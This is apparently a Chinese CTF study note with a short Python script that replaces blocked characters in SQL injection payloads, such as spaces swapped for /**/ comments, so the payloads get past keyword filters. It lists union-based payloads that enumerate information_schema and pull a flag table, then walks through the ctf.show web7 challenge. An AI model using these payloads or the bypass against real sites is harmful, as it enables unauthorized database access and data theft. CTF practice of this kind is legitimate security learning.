适用场景
在ctf中经常会有关键字的屏蔽,例如屏蔽空格,屏蔽select等关键字。使用脚本直接完成关键字替换,避免pyload修改过于麻烦。 同时适用于linux等命令的屏蔽
常见绕过
学习链接: https://www.cnblogs.com/Vinson404/p/7253255.html
脚本
shield=' '
replace='/**/'
payload1="1' or 1=1#"
payload2="1' or 1=1 order by 3#"
payload3="1' union select 1,2,3#"
payload4="1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),3#"
payload5="1' union select 1,(select flag from web2.flag),3#"
new_payload=payload5.replace(shield,replace)
print('替换后的值:')
print(new_payload)
结果示例:
替换后的值:
1'/**/union/**/select/**/1,(select/**/flag/**/from/**/web2.flag),3
例题(ctf.show-web7)
这里仿真的是一个文章查看及查询的界面,它的url有关键字?id=1 ,可以确定为sql注入 进行探测,提示错误,那很有可能是屏蔽了关键字,使用脚本替换空格再放进去 探测成功,并且有两个位置回显 按照常规流程获取数据,获取时发现貌似还屏蔽了 and ,避开就好 取得flag
|